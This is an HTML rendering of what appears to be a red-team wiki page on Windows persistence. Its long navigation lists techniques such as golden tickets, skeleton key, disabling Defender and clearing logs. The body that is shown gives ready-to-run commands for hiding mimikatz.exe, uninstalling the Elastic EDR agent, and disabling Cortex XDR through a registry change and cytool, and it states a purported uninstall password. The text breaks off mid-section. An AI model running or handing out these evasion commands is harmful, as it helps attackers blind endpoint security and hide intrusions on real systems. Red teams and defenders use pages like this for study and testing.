<span class="md-ellipsis">
|
||
Tools
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#hide-your-binary" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Hide Your Binary
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#disable-antivirus-and-security" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Disable Antivirus and Security
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Disable Antivirus and Security">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#antivirus-removal" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Antivirus Removal
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#disable-windows-defender" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Disable Windows Defender
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#disable-windows-firewall" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Disable Windows Firewall
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#clear-system-and-security-logs" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Clear System and Security Logs
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#simple-user" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Simple User
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Simple User">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#registry-hkcu" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Registry HKCU
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#startup" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Startup
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#scheduled-tasks-user" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Scheduled Tasks User
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bits-jobs" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
BITS Jobs
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#serviceland" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Serviceland
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Serviceland">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#iis" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
IIS
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#windows-service" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Windows Service
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#elevated" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Elevated
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Elevated">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#registry-hklm" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Registry HKLM
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Registry HKLM">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#winlogon-helper-dll" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Winlogon Helper DLL
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#globalflag" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
GlobalFlag
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#startup-elevated" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Startup Elevated
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#services-elevated" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Services Elevated
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#servicesecuritydescriptor" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
ServiceSecurityDescriptor
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#scheduled-tasks-elevated" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Scheduled Tasks Elevated
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#windows-management-instrumentation-event-subscription" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Windows Management Instrumentation Event Subscription
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#binary-replacement" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Binary Replacement
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Binary Replacement">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#binary-replacement-on-windows-xp" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Binary Replacement on Windows XP+
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#binary-replacement-on-windows-10" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Binary Replacement on Windows 10+
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#skeleton-key" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Skeleton Key
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#virtual-machines" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Virtual Machines
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#windows-subsystem-for-linux" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Windows Subsystem for Linux
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#domain" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Domain
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Domain">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#user-certificate" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
User Certificate
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#golden-certificate" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Golden Certificate
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#golden-ticket" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Golden Ticket
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#laps-persistence" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
LAPS Persistence
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#references" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
References
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10_5" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_10_5" id="__nav_10_5_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Pivoting
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_10_5_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_10_5">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Pivoting
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../pivoting/network-pivoting-techniques/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Network Pivoting Techniques
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
|
||
|
||
<div class="md-sidebar md-sidebar--secondary" data-md-component="sidebar" data-md-type="toc" >
|
||
<div class="md-sidebar__scrollwrap">
|
||
<div class="md-sidebar__inner">
|
||
|
||
|
||
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<label class="md-nav__title" for="__toc">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Table of contents
|
||
</label>
|
||
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#summary" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Summary
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#tools" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Tools
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#hide-your-binary" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Hide Your Binary
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#disable-antivirus-and-security" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Disable Antivirus and Security
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Disable Antivirus and Security">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#antivirus-removal" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Antivirus Removal
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#disable-windows-defender" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Disable Windows Defender
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#disable-windows-firewall" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Disable Windows Firewall
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#clear-system-and-security-logs" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Clear System and Security Logs
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#simple-user" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Simple User
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Simple User">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#registry-hkcu" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Registry HKCU
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#startup" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Startup
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#scheduled-tasks-user" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Scheduled Tasks User
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bits-jobs" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
BITS Jobs
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#serviceland" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Serviceland
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Serviceland">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#iis" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
IIS
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#windows-service" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Windows Service
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#elevated" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Elevated
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Elevated">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#registry-hklm" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Registry HKLM
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Registry HKLM">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#winlogon-helper-dll" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Winlogon Helper DLL
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#globalflag" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
GlobalFlag
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#startup-elevated" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Startup Elevated
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#services-elevated" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Services Elevated
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#servicesecuritydescriptor" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
ServiceSecurityDescriptor
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#scheduled-tasks-elevated" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Scheduled Tasks Elevated
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#windows-management-instrumentation-event-subscription" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Windows Management Instrumentation Event Subscription
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#binary-replacement" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Binary Replacement
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Binary Replacement">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#binary-replacement-on-windows-xp" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Binary Replacement on Windows XP+
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#binary-replacement-on-windows-10" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Binary Replacement on Windows 10+
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#skeleton-key" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Skeleton Key
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#virtual-machines" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Virtual Machines
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#windows-subsystem-for-linux" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Windows Subsystem for Linux
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#domain" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Domain
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Domain">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#user-certificate" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
User Certificate
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#golden-certificate" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Golden Certificate
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#golden-ticket" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Golden Ticket
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#laps-persistence" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
LAPS Persistence
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#references" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
References
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
</nav>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
|
||
|
||
<div class="md-content" data-md-component="content">
|
||
<article class="md-content__inner md-typeset">
|
||
|
||
|
||
|
||
|
||
|
||
<a href="https://github.com/swisskyrepo/InternalAllTheThings/blob/main/docs/redteam/persistence/windows-persistence.md" title="Edit this page" class="md-content__button md-icon">
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg>
|
||
</a>
|
||
|
||
|
||
|
||
|
||
|
||
<a href="https://github.com/swisskyrepo/InternalAllTheThings/raw/main/docs/redteam/persistence/windows-persistence.md" title="View source of this page" class="md-content__button md-icon">
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M17 18c.56 0 1 .44 1 1s-.44 1-1 1-1-.44-1-1 .44-1 1-1m0-3c-2.73 0-5.06 1.66-6 4 .94 2.34 3.27 4 6 4s5.06-1.66 6-4c-.94-2.34-3.27-4-6-4m0 6.5a2.5 2.5 0 0 1-2.5-2.5 2.5 2.5 0 0 1 2.5-2.5 2.5 2.5 0 0 1 2.5 2.5 2.5 2.5 0 0 1-2.5 2.5M9.27 20H6V4h7v5h5v4.07c.7.08 1.36.25 2 .49V8l-6-6H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h4.5a8.2 8.2 0 0 1-1.23-2"/></svg>
|
||
</a>
|
||
|
||
|
||
|
||
<h1 id="windows-persistence">Windows - Persistence</h1>
|
||
<h2 id="summary">Summary</h2>
|
||
<ul>
|
||
<li><a href="#tools">Tools</a></li>
|
||
<li><a href="#hide-your-binary">Hide Your Binary</a></li>
|
||
<li><a href="#disable-antivirus-and-security">Disable Antivirus and Security</a><ul>
|
||
<li><a href="#antivirus-removal">Antivirus Removal</a></li>
|
||
<li><a href="#disable-windows-defender">Disable Windows Defender</a></li>
|
||
<li><a href="#disable-windows-firewall">Disable Windows Firewall</a></li>
|
||
<li><a href="#clear-system-and-security-logs">Clear System and Security Logs</a></li>
|
||
</ul>
|
||
</li>
|
||
<li><a href="#simple-user">Simple User</a><ul>
|
||
<li><a href="#registry-hkcu">Registry HKCU</a></li>
|
||
<li><a href="#startup">Startup</a></li>
|
||
<li><a href="#scheduled-tasks-user">Scheduled Tasks User</a></li>
|
||
<li><a href="#bits-jobs">BITS Jobs</a></li>
|
||
</ul>
|
||
</li>
|
||
<li><a href="#serviceland">Serviceland</a><ul>
|
||
<li><a href="#iis">IIS</a></li>
|
||
<li><a href="#windows-service">Windows Service</a></li>
|
||
</ul>
|
||
</li>
|
||
<li><a href="#elevated">Elevated</a><ul>
|
||
<li><a href="#registry-hklm">Registry HKLM</a><ul>
|
||
<li><a href="#winlogon-helper-dll">Winlogon Helper DLL</a></li>
|
||
<li><a href="#globalflag">GlobalFlag</a></li>
|
||
</ul>
|
||
</li>
|
||
<li><a href="#startup-elevated">Startup Elevated</a></li>
|
||
<li><a href="#services-elevated">Services Elevated</a></li>
|
||
<li><a href="#servicesecuritydescriptor">Service Security Descriptor</a></li>
|
||
<li><a href="#scheduled-tasks-elevated">Scheduled Tasks Elevated</a></li>
|
||
<li><a href="#binary-replacement">Binary Replacement</a><ul>
|
||
<li><a href="#binary-replacement-on-windows-xp">Binary Replacement on Windows XP+</a></li>
|
||
<li><a href="#binary-replacement-on-windows-10">Binary Replacement on Windows 10+</a></li>
|
||
</ul>
|
||
</li>
|
||
<li><a href="#skeleton-key">Skeleton Key</a></li>
|
||
<li><a href="#virtual-machines">Virtual Machines</a></li>
|
||
<li><a href="#windows-subsystem-for-linux">Windows Subsystem for Linux</a></li>
|
||
</ul>
|
||
</li>
|
||
<li><a href="#domain">Domain</a><ul>
|
||
<li><a href="#golden-certificate">Golden Certificate</a></li>
|
||
<li><a href="#golden-ticket">Golden Ticket</a></li>
|
||
</ul>
|
||
</li>
|
||
<li><a href="#references">References</a></li>
|
||
</ul>
|
||
<h2 id="tools">Tools</h2>
|
||
<ul>
|
||
<li><a href="https://github.com/fireeye/SharPersist">SharPersist - Windows persistence toolkit written in C#. - @h4wkst3r</a></li>
|
||
</ul>
|
||
<h2 id="hide-your-binary">Hide Your Binary</h2>
|
||
<blockquote>
|
||
<p>Sets (+) or clears (-) the Hidden file attribute. If a file uses this attribute set, you must clear the attribute before you can change any other attributes for the file.</p>
|
||
</blockquote>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-0-1" name="__codelineno-0-1" href="#__codelineno-0-1"></a><span class="n">PS</span><span class="p">></span> <span class="n">attrib</span> <span class="p">+</span><span class="nb">h </span><span class="n">mimikatz</span><span class="p">.</span><span class="n">exe</span>
|
||
</code></pre></div>
|
||
<h2 id="disable-antivirus-and-security">Disable Antivirus and Security</h2>
|
||
<h3 id="antivirus-removal">Antivirus Removal</h3>
|
||
<ul>
|
||
<li><a href="https://github.com/ayeskatalas/Sophos-Removal-Tool/">Sophos Removal Tool.ps1</a></li>
|
||
<li><a href="https://knowledge.broadcom.com/external/article/178870/download-the-cleanwipe-removal-tool-to-u.html">Symantec CleanWipe</a></li>
|
||
<li><a href="https://www.elastic.co/guide/en/fleet/current/uninstall-elastic-agent.html">Elastic EDR/Security</a>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-1-1" name="__codelineno-1-1" href="#__codelineno-1-1"></a><span class="nb">cd </span><span class="s2">"C:\Program Files\Elastic\Agent\"</span>
|
||
<a id="__codelineno-1-2" name="__codelineno-1-2" href="#__codelineno-1-2"></a><span class="nb">PS </span><span class="n">C</span><span class="p">:\</span><span class="n">Program</span> <span class="n">Files</span><span class="p">\</span><span class="n">Elastic</span><span class="p">\</span><span class="n">Agent</span><span class="p">></span> <span class="p">.\</span><span class="n">elastic-agent</span><span class="p">.</span><span class="n">exe</span> <span class="n">uninstall</span>
|
||
<a id="__codelineno-1-3" name="__codelineno-1-3" href="#__codelineno-1-3"></a><span class="n">Elastic</span> <span class="n">Agent</span> <span class="n">will</span> <span class="n">be</span> <span class="n">uninstalled</span> <span class="n">from</span> <span class="n">your</span> <span class="n">system</span> <span class="n">at</span> <span class="n">C</span><span class="p">:\</span><span class="n">Program</span> <span class="n">Files</span><span class="p">\</span><span class="n">Elastic</span><span class="p">\</span><span class="n">Agent</span><span class="p">.</span> <span class="k">Do</span> <span class="n">you</span> <span class="n">want</span> <span class="n">to</span> <span class="k">continue</span><span class="p">?</span> <span class="p">[</span><span class="n">Y</span><span class="p">/</span><span class="n">n</span><span class="p">]:</span><span class="n">Y</span>
|
||
<a id="__codelineno-1-4" name="__codelineno-1-4" href="#__codelineno-1-4"></a><span class="n">Elastic</span> <span class="n">Agent</span> <span class="n">has</span> <span class="n">been</span> <span class="n">uninstalled</span><span class="p">.</span>
|
||
</code></pre></div></li>
|
||
<li><a href="https://mrd0x.com/cortex-xdr-analysis-and-bypass/">Cortex XDR</a>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-2-1" name="__codelineno-2-1" href="#__codelineno-2-1"></a><span class="c"># Global uninstall password: Password1</span>
|
||
<a id="__codelineno-2-2" name="__codelineno-2-2" href="#__codelineno-2-2"></a><span class="n">Password</span> <span class="n">hash</span> <span class="n">is</span> <span class="n">located</span> <span class="k">in</span> <span class="n">C</span><span class="p">:\</span><span class="n">ProgramData</span><span class="p">\</span><span class="n">Cyvera</span><span class="p">\</span><span class="n">LocalSystem</span><span class="p">\</span><span class="n">Persistence</span><span class="p">\</span><span class="n">agent_settings</span><span class="p">.</span><span class="n">db</span>
|
||
<a id="__codelineno-2-3" name="__codelineno-2-3" href="#__codelineno-2-3"></a><span class="n">Look</span> <span class="k">for</span> <span class="n">PasswordHash</span><span class="p">,</span> <span class="n">PasswordSalt</span> <span class="n">or</span> <span class="n">password</span><span class="p">,</span> <span class="n">salt</span> <span class="n">strings</span><span class="p">.</span>
|
||
<a id="__codelineno-2-4" name="__codelineno-2-4" href="#__codelineno-2-4"></a>
|
||
<a id="__codelineno-2-5" name="__codelineno-2-5" href="#__codelineno-2-5"></a><span class="c"># Disable Cortex: Change the DLL to a random value, then REBOOT</span>
|
||
<a id="__codelineno-2-6" name="__codelineno-2-6" href="#__codelineno-2-6"></a><span class="n">reg</span> <span class="n">add</span> <span class="n">HKEY_LOCAL_MACHINE</span><span class="p">\</span><span class="n">SYSTEM</span><span class="p">\</span><span class="n">CurrentControlSet</span><span class="p">\</span><span class="n">Services</span><span class="p">\</span><span class="n">CryptSvc</span><span class="p">\</span><span class="n">Parameters</span> <span class="p">/</span><span class="n">t</span> <span class="n">REG_EXPAND_SZ</span> <span class="p">/</span><span class="n">v</span> <span class="n">ServiceDll</span> <span class="p">/</span><span class="n">d</span> <span class="n">nothing</span><span class="p">.</span><span class="n">dll</span> <span class="p">/</span><span class="n">f</span>
|
||
<a id="__codelineno-2-7" name="__codelineno-2-7" href="#__codelineno-2-7"></a>
|
||
<a id="__codelineno-2-8" name="__codelineno-2-8" href="#__codelineno-2-8"></a><span class="c"># Disables the agent on startup (requires reboot to work)</span>
|
||
<a id="__codelineno-2-9" name="__codelineno-2-9" href="#__codelineno-2-9"></a><span class="n">cytool</span><span class="p">.</span><span class="n">exe</span> <span class="n">startup</span> <span class="n">disable</span>
|
||
<a id="__codelineno-2-10" name="__codelineno-2-10" href="#__codelineno-2-10"></a>
|
||
<a id="__codelineno-2-11" name="__codelineno-2-11" href="#__codelineno-2-11"></a><span class="c"># Disables protection on Cortex XDR files, processes, registry and services</span>
|
||
<a id="__codelineno-2-12" name="__codelineno-2-12" href="#__codelineno-2-12"></a><span class="n">cytool</span><span class="p">.</span><span class="n">exe</span> <span class="n">protect</span> <span class="n">disable</span>
|
||
<a id="__codelineno-2-13" name="__codelineno-2-13" href="#__codelineno-2-13"></a>
|
||
<a id="__codelineno-2-14" name="__codelineno-2-14" href="#__codelineno-2-14"></a><span class="c"># Disables Cortex XDR (Even with tamper protection enabled)</span>
|
||
<a id="__codelineno-2-15" name="__codelineno-2-15" href="#__codelineno-2-15"></a><span class="n">cytool</span><span class="p">.</span><span class="n">exe</span> <span class="n">runtime</span> <span class="n">disable</span>
|
||
<a id="__codelineno-2-16" name="__codelineno-2-16" href="#__codelineno-2-16"></a>
|
||
